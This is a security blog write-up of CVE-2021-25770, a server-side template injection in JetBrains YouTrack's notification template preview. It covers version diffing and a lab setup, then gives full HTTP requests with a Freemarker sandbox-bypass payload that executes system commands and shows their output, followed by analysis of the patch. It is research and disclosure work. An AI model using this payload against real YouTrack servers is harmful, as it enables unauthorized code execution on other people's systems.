Exploiting CVE-2021-25770: A Server-Side Template Injection in YouTrack
- 11/02/2021 - inA few days ago we got this vulnerability in our Twitter feed:
NEW: CVE-2021-25770
In JetBrains YouTrack before 2020.5.3123, server-side template injection (SSTI) was possible, which could lead to code execution. Severity: CRITICAL
After searching for a POC without success, we decided that we would write one. Searching for information on the Jetbrains website gave us no information except that the vulnerability was discovered by Vasily Vasilkov [1].
Diffing the source code
A free version is available from www.jetbrains.com so we downloaded the vulnerable version (2020.5.2579) and the patched version (2020.5.3123) and started investigating.
It quickly appears that the software is running Freemarker [2] as templating engine.
$ ls youtrack-2020.5.2579/apps/youtrack/web/WEB-INF/lib | grep free
-rw-r--r-- 1 us3r777 us3r777 1350624 25 nov. 17:53 freemarker-2.3.23.jar
$ ls youtrack-2020.5.3123/apps/youtrack/web/WEB-INF/lib | grep free
-rw-r--r-- 1 us3r777 us3r777 1702975 2 déc. 15:07 freemarker-2.3.30.jar
The vulnerable version is running Freemarker 2.3.23 and the patched one is running Freemarker 2.3.30. After extracting all applications libraries, we identified that the notification module was heavily using Freemarker, so we decided to focus on this one first.
$ grep 'Freemarker' -ril | cut -d '/' -f1 | sort | uniq -c
1 youtrack-application-2020.5.2579.jar-dir
53 youtrack-notifications-2020.5.2579.jar-dir
2 youtrack-scripts-2020.5.2579.jar-dir
1 youtrack-webapp-2020.5.2579.jar-dir
When diffing between the vulnerable and the patched version of the Freemarker notification module we also noticed that there were indeed several updates in this module:
$ diff -bur youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion$ITERABLE_FACTORY$1.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion$ITERABLE_FACTORY$1.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper.class differ
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy$forClass$1.class
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy.class
Running Youtrack in a docker container
To get familiar with the software and check if we could quickly find an insertion point, we installed the vulnerable version using docker:
docker run -it --name youtrack-instance1 -v data:/opt/youtrack/data -v conf:/opt/youtrack/conf -v logs:/opt/youtrack/logs -v backups:/opt/youtrack/backups -p 8888:8080 jetbrains/youtrack:2020.5.2579
After following the installation procedure, we identified the "Notification Templates" feature in the administrative panel:
This functionality allows users defining custom templates for notifications:
According to YouTrack's documentation:
Notification Templates provide you with tools to customize email and Jabber notifications to suit your user communication requirements.
Using this functionality it is possible to configure custom templates that are directly rendered in the webpage. This is where template injection happens.
Exploiting the Server-Side Template Injection
This is the request triggering the template injection :
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 108
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
{
"template": {
"fileName": "article_digest_subject.ftl",
"content": "${191*7}"
}
}
HTTP/1.1 200 OK
[...]
{"issueId":null,"output":"1,337","error":null,"$type":"NotificationPreview"}
Trying to execute commands directly using the traditional freemarker.template.utility.Execute method [3] fails with the following error:
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 171
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}"
}
}
HTTP/1.1 200 OK
{"issueId":null,"output":"[error] [error]","error":null,"$type":"NotificationPreview"}
By digging in the application logs we can find a clearer message:
FreeMarker template error:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
This error is due to the fact that Freemarker Template class resolver [4] is set to ALLOWS_NOTHING_RESOLVER in jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class.
Using a sandbox bypass to achieve remote code execution
Fortunately for us, a bypass to get code execution exists in Freemarker versions below 2.3.30. This bypass was presented by Alvaro Muñoz and Oleksandr Mirosh at Blackhat USA 2020 [5].
The bypass relies on finding a public static field that allows to call the newInstance() method. We used the DEFAULT_WRAPPER field of the freemarker.template.ObjectWrapper class as defined in Alvaro and Oleksandr's white paper to get remote code execution:
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
This payload can be sent as a POST request to the notification module:
POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 393
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
{
"template": {
"fileName": "article_digest_subject.ftl",
"content":"<#assign classloader=article.class.protectionDomain.classLoader><#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")><#assign dwf=owc.getField(\"DEFAULT_WRAPPER\").get(null)><#assign ec=classloader.loadClass(\"freemarker.template.utility.Execute\")>${dwf.newInstance(ec,null)(\"id\")}"
}
}
HTTP/1.1 200 OK
[...]
{"issueId":null,"output":"uid=13001(jetbrains) gid=13001(jetbrains) groups=13001(jetbrains)\n","error":null,"$type":"NotificationPreview"}
About the patch
Using the previous payload is not possible in Freemarker 2.3.30 which introduces a new sandbox based on MemberAccessPolicy. The default policy improves the blacklist and forbids access to ClassLoader methods and public fields through reflection [6].
Looking at the patched version of Youtrack we noticed that Freemarker is now configured with a StrictMemberAccessPolicy:
$ diff -bur youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir
[...]
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy.class
Updating YouTrack to 2020.5.3123 prevents the exploitation of this vulnerability.
Bibliography
[1] https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020/ - CVE-2021-25770 announcement
[2] https://freemarker.apache.org/ - Freemarker templating engine
[3] https://portswigger.net/research/server-side-template-injection - Basic SSTI exploitation
[4] https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html - Freemarker TemplateClassResolver
[5] https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf - Scribbling outside the lines of template security BH USA 2020, Alvaro Muñoz and Oleksandr Mirosh
[6] https://freemarker.apache.org/docs/api/freemarker/ext/beans/MemberAccessPolicy.html - MemberAccessPolicy in Freemarker 2.3.30